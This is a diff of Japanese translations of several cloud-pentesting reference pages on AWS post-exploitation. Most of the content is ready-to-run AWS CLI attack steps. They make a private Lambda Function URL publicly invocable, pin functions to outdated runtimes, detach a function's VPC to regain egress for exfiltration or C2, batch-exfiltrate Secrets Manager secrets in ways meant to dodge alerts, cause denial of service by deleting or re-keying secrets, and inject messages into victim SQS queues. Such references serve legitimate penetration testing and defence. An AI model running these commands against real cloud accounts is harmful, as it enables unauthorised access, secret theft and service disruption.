-Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Abusing it
+Function URL の AuthType を NONE に切り替え、resource-based policy を付与して lambda:InvokeFunctionUrl を全員に許可することで、プライベートな Lambda Function URL をパブリックな認証不要エンドポイントに変えられます。これにより内部関数の匿名呼び出しが可能になり、機密性の高いバックエンド処理が露出する恐れがあります。

- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+## 悪用方法
+
+- 前提条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
 - Region: us-east-1

-### Steps
-1) Ensure the function has a Function URL (defaults to AWS_IAM):
+### 手順
+1) Function に Function URL があることを確認（デフォルトは AWS_IAM）:
 ```
 aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```

-2) Switch the URL to public (AuthType NONE):
+2) URL をパブリックに切り替える (AuthType NONE):
 ```
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
 ```

-3) Add a resource-based policy statement to allow unauthenticated principals:
+3) 認証なしプリンシパルを許可する resource-based policy ステートメントを追加:
 ```
 aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
 ```

-4) Retrieve the URL and invoke without credentials:
+4) URL を取得して認証情報なしで呼び出す:
 ```
 URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
 curl -sS "$URL"
 ```

-### Impact
- The Lambda function becomes anonymously accessible over the internet.
+### 影響
+- Lambda 関数がインターネット上で匿名アクセス可能になります。

 ### Example output (unauthenticated 200)
 ```
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
 aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -1,12 +1,16 @@
 # AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

-`lambda:PutRuntimeManagementConfig` を悪用して、関数を特定のランタイムバージョンに固定（Manual）するか、更新を停止（FunctionUpdate）します。これにより、悪意のあるレイヤー／ラッパーとの互換性を維持し、古い脆弱なランタイム上に関数を留めておくことでエクスプロイトや長期的な永続化を容易にできます。
+{{#include ../../../../banners/hacktricks-training.md}}

-要件: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+`lambda:PutRuntimeManagementConfig` を悪用して、関数を特定のランタイムバージョンにピン留め（Manual）したり、アップデートを停止（FunctionUpdate）します。これにより、悪意のあるレイヤー/ラッパーとの互換性を維持でき、古く脆弱なランタイム上に関数を留めておくことで、悪用や長期的な持続性を助けることができます。

-例（us-east-1）:
- 呼び出し: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- 更新を凍結: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+必要条件: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Example (us-east-1):
+- 実行: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- アップデートを停止: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
 - 確認: `aws lambda get-runtime-management-config --function-name  --region us-east-1`

-必要に応じて、INIT_START ログから Runtime Version ARN を抽出し、`--update-runtime-on Manual --runtime-version-arn <arn>` を使用して特定のランタイムバージョンに固定できます。
+必要に応じて、INIT_START ログから Runtime Version ARN を抽出し、`--update-runtime-on Manual --runtime-version-arn <arn>` を使用して特定のランタイムバージョンにピン留めできます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -1,16 +1,18 @@
 # AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

-制限された VPC から Lambda function を強制的に外すには、空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) でその設定を更新します。関数は Lambda-managed ネットワーキングプレーンで実行され、アウトバウンドのインターネットアクセスを取り戻し、NAT のないプライベート VPC サブネットで強制されている egress コントロールをバイパスします。
+{{#include ../../../../banners/hacktricks-training.md}}

-## Abusing it
+空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に更新することで、制限された VPC から Lambda 関数を強制的に切り離します。関数は Lambda が管理するネットワーク領域で実行されるようになり、アウトバウンドのインターネットアクセスを回復し、NAT のないプライベート VPC サブネットで適用される egress コントロールをバイパスします。

- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
- Region: us-east-1
+## 悪用

-### Steps
+- 事前条件: ターゲット関数に対する lambda:UpdateFunctionConfiguration（検証用に lambda:InvokeFunction があると良い）、およびコード/ハンドラを変更する場合はそれらを更新する権限。
+- 想定: 関数は現在 VpcConfig が NAT のないプライベートサブネットを指しており（そのためアウトバウンドのインターネットがブロックされている）設定されている。
+- リージョン: us-east-1

-0) Prepare a minimal handler that proves outbound HTTP works
+### 手順
+
+0) アウトバウンド HTTP が動作することを証明する最小ハンドラを用意する

 cat > net.py <<'PY'
 import urllib.request, json
@@ -26,12 +28,12 @@ zip net.zip net.py
 aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
 aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

-1) Record current VPC config (to restore later if needed)
+1) 後で必要に応じて復元できるように現在の VPC 設定を記録する

 aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
 cat /tmp/orig-vpc.json

-2) Detach the VPC by setting empty lists
+2) 空のリストを設定して VPC を切り離す

 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -39,25 +41,26 @@ aws lambda update-function-configuration \
 --region $REGION
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

-3) Invoke and verify outbound access
+3) Invoke してアウトバウンドアクセスを確認する

 aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
 cat /tmp/net-out.json

-(Optional) Restore original VPC config
+(Optional) 元の VPC 設定を復元する

 if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
 SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
 aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
 fi

-### Impact
- 関数からの制限のないアウトバウンドインターネットアクセスを再獲得します。これにより、NAT のないプライベートサブネットに意図的に隔離されていたワークロードからのデータ流出や C2 が可能になります。
+### 影響
+- 関数から制限のないアウトバウンドインターネットアクセスが復元され、NAT のないプライベートサブネット内で意図的に隔離されていたワークロードからの data exfiltration や C2 を可能にします。

-### Example output (after detaching VpcConfig)
+### 例（VpcConfig を切り離した後の出力）

 {"egress": true, "ip": "34.x.x.x"}

-### Cleanup
- 一時的に変更した code/handler がある場合は元に戻してください。
+### クリーンアップ
+- 一時的に作成したコード/ハンドラ変更がある場合は復元してください。
 - 必要に応じて上記のように /tmp/orig-vpc.json に保存した元の VpcConfig を復元してください。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -4,22 +4,22 @@

 ## Secrets Manager

-詳細は次を参照してください:
+詳細は以下を参照してください:

 {{#ref}}
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Secrets の読み取り
+### シークレットの読み取り

-**secrets 自体は機密情報です**、[check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を参照して、読み取り方法を学んでください。
+The **シークレット自体は機密情報です**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) でそれらの読み取り方法を確認してください。

-### DoS Change Secret Value
+### DoS シークレットの値の変更

-secret の値を変更すると、その値に依存するすべてのシステムを**DoS**する可能性があります。
+シークレットの値を変更すると、その値に依存するすべてのシステムを**DoSする可能性があります。**

 > [!WARNING]
-> 以前の値も保存されていることに注意してください。したがって、簡単に以前の値に戻すことができます。
+> 以前の値も保存されているため、簡単に以前の値に戻すことができます。
 ```bash
 # Requires permission secretsmanager:PutSecretValue
 aws secretsmanager put-secret-value \
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
 ```
 ### DoS Change KMS key

-攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使用するよう secret を設定できます。そのキーは初期設定で誰でもアクセス・使用できるようになっているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできない設定であれば、secret を更新することはできません。
+攻撃者が secretsmanager:UpdateSecret 権限を持っていると、secret を攻撃者が所有する KMS key を使うように設定できます。そのキーは当初、誰でもアクセスして使用できるように設定されているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできなければ、secret の更新はできません。

-secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、誰もアクセスできないため、secret を取得する能力が失われます。
+secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、そのキーにアクセスできないため、secret を取得する能力が失われます。

-重要なのは、このアクセス不能は secret の内容が変更された後に作られる後続のバージョンでのみ発生するということです。現行のバージョンは元の KMS key で暗号化されたままだからです。
+重要なのは、このアクセス不能は secret の内容が変更された後の以降のバージョンでのみ発生する点です。現在のバージョンはまだ元の KMS key で暗号化されているためです。
 ```bash
 aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS Deleting Secret
+### DoS Secret の削除

-シークレットを削除する最小日数は7日です
+secret を削除するための最小日数は7日です
 ```bash
 aws secretsmanager delete-secret \
 --secret-id MyTestSecret \
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
 ```
 ## secretsmanager:RestoreSecret

-シークレットを復元することが可能です。これにより、削除予定になっているシークレットを復元できます。シークレットの最小削除期間は7日、最大は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、それらの内容を取得できるようになります。
+シークレットは復元可能であり、削除がスケジュールされたシークレットを復元できます。シークレットの最短削除期間は7日、最長は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、その内容を取得できるようになります。

-削除処理中のシークレットを復旧するには、次のコマンドを使用できます：
+削除処理中のシークレットを復元するには、次のコマンドを使用します:
 ```bash
 aws secretsmanager restore-secret \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:DeleteResourcePolicy

-このアクションは、secret へのアクセスを制御する resource policy を削除することを許可します。resource policy が特定のユーザー群へのアクセスを許可するように設定されていた場合、これは DoS につながる可能性があります。
+このアクションは、secret へのアクセスを制御するリソースポリシーを削除することを許可します。リソースポリシーが特定のユーザーの集合へのアクセスを許可するように構成されていた場合、DoS を引き起こす可能性があります。

-resource policy を削除するには：
+リソースポリシーを削除するには:
 ```bash
 aws secretsmanager delete-resource-policy \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:UpdateSecretVersionStage

-シークレットの状態は、シークレットのバージョンを管理するために使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前にローテーション処理で準備・検証するために使われます。
+シークレットの状態はシークレットのバージョンを管理するために使用されます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前に準備・検証するローテーションプロセスで使用されます。

-アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動させると、アプリは無効な認証情報を使ってしまい、動作しなくなる可能性があります。
+アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動すると、アプリは無効な認証情報を使ってしまい、失敗する可能性があります。

-AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてがまだ前のバージョンで動作しているように見えることがあります。
+AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてが依然として前のバージョンで動作しているように見えることがあります。
 ```bash
 aws secretsmanager update-secret-version-stage \
 --secret-id <your-secret-name-or-arn> \
@@ -78,15 +78,9 @@ aws secretsmanager update-secret-version-stage \
 --move-to-version-id <target-version-id> \
 --remove-from-version-id <previous-version-id>
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

-Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20件のシークレットを取得します。個々のシークレットごとに GetSecretValue を繰り返す場合と比べて、API 呼び出し回数を大幅に削減できます。フィルター（tags/name）を使用する場合は、ListSecrets 権限も必要です。CloudTrail はバッチで取得した各シークレットごとに GetSecretValue イベントを記録します。
+Secrets Manager BatchGetSecretValue API を悪用して、1 回のリクエストで最大 20 件のシークレットを取得します。これは、シークレットごとに GetSecretValue を繰り返す場合に比べて API コール数を大幅に削減できます。フィルタ（tags/name）を使用する場合は ListSecrets の権限も必要です。CloudTrail は、バッチで取得された各シークレットごとに 1 件の GetSecretValue イベントを記録します。

 必要な権限
 - secretsmanager:BatchGetSecretValue
@@ -95,7 +89,7 @@ Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエ
 - kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

 > [!WARNING]
-> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
+> permission `secretsmanager:BatchGetSecretValue` はシークレットを取得するのに十分ではなく、取得したい各シークレットに対して `secretsmanager:GetSecretValue` が必要です。

 Exfiltrate by explicit list
 ```bash
@@ -103,7 +97,7 @@ aws secretsmanager batch-get-secret-value \
 --secret-id-list <secret1> <secret2> <secret3> \
 --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
 ```
-Exfiltrate をフィルタで（tag key/value または name prefix）
+フィルタを使用した Exfiltrate (tag key/value または name prefix)
 ```bash
 # By tag key
 aws secretsmanager batch-get-secret-value \
@@ -126,5 +120,6 @@ aws secretsmanager batch-get-secret-value \
 aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
 ```
 影響
- 少ないAPIコールで多数のシークレットを迅速に“smash-and-grab”でき、GetSecretValueの急増に合わせて調整されたアラートを回避する可能性がある。
- CloudTrailのログには、バッチで取得された各シークレットごとに1つのGetSecretValueイベントが引き続き記録される。
+- 少ないAPIコールで多数のシークレットを迅速に「smash-and-grab」し、GetSecretValueの急増に合わせたアラートを回避する可能性がある。
+- CloudTrailのログには、バッチで取得された各シークレットごとに1件のGetSecretValueイベントが引き続き記録される。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -4,14 +4,14 @@

 ## 説明

-SQS キューのリソースポリシーを悪用して、攻撃者が制御する SNS トピックが被害者の SQS キューにメッセージを送信できるようにする。同一アカウント内では、SNS トピックへの SQS サブスクリプションは自動で確認されるが、クロスアカウントではキューから SubscriptionConfirmation トークンを読み取り、ConfirmSubscription を呼び出す必要がある。これにより、下流のコンシューマが暗黙に信頼する可能性のある、意図しないメッセージ注入が可能になる。
+SQSキューのリソースポリシーを悪用して、攻撃者が制御するSNSトピックが被害者のSQSキューにメッセージを送信できるようにします。同一アカウント内では、SNSトピックへのSQSサブスクリプションは自動的に確認されます；クロスアカウントの場合は、キューからSubscriptionConfirmation tokenを読み取り、ConfirmSubscriptionを呼び出す必要があります。これにより、下流のコンシューマが暗黙に信頼してしまう可能性のある、信頼できないメッセージの注入が可能になります。

 ### 要件
- ターゲット SQS キューのリソースポリシーを変更できること: `sqs:SetQueueAttributes` on the victim queue.
- 攻撃者が制御する SNS トピックを作成/公開できること: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- クロスアカウントのみ: 被害者キュー上の一時的な `sqs:ReceiveMessage`（確認トークンを読み取り `sns:ConfirmSubscription` を呼び出すため）。
+- 対象のSQSキューのリソースポリシーを変更する権限: `sqs:SetQueueAttributes` on the victim queue.
+- 攻撃者が制御するSNSトピックを作成/メッセージ公開できる権限: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
+- Cross-account only: 被害者キュー上で確認トークンを読み取り、`sns:ConfirmSubscription` を呼び出すための一時的な `sqs:ReceiveMessage` 。

-### 同一アカウントでの悪用
+### Same-account exploitation
 ```bash
 REGION=us-east-1
 # 1) Create victim queue and capture URL/ARN
@@ -44,11 +44,11 @@ aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoin
 aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
 aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
 ```
-### クロスアカウントの注意点
- 上記のキューポリシーは、外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要がある。
- Subscriptions は自動で確認されない。被害者のキューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み取り、その `Token` を使って `sns confirm-subscription` を呼び出す。
+### アカウント間の注意事項
+- 上のキューのポリシーは外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要があります。
+- サブスクリプションは自動確認されません。被害者キューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み、その `Token` を使って `sns confirm-subscription` を呼び出してください。

 ### 影響
-**潜在的影響**: SNS 経由で信頼された SQS キューに継続的に望まれないメッセージを注入され、意図しない処理のトリガー、データ汚染、ワークフローの悪用などを引き起こす可能性がある。
+**潜在的な影響**: SNS を介して信頼された SQS キューに継続的に望まれないメッセージを注入し、意図しない処理、データ汚染、またはワークフローの悪用を引き起こす可能性があります。

 {{#include ../../../../banners/hacktricks-training.md}}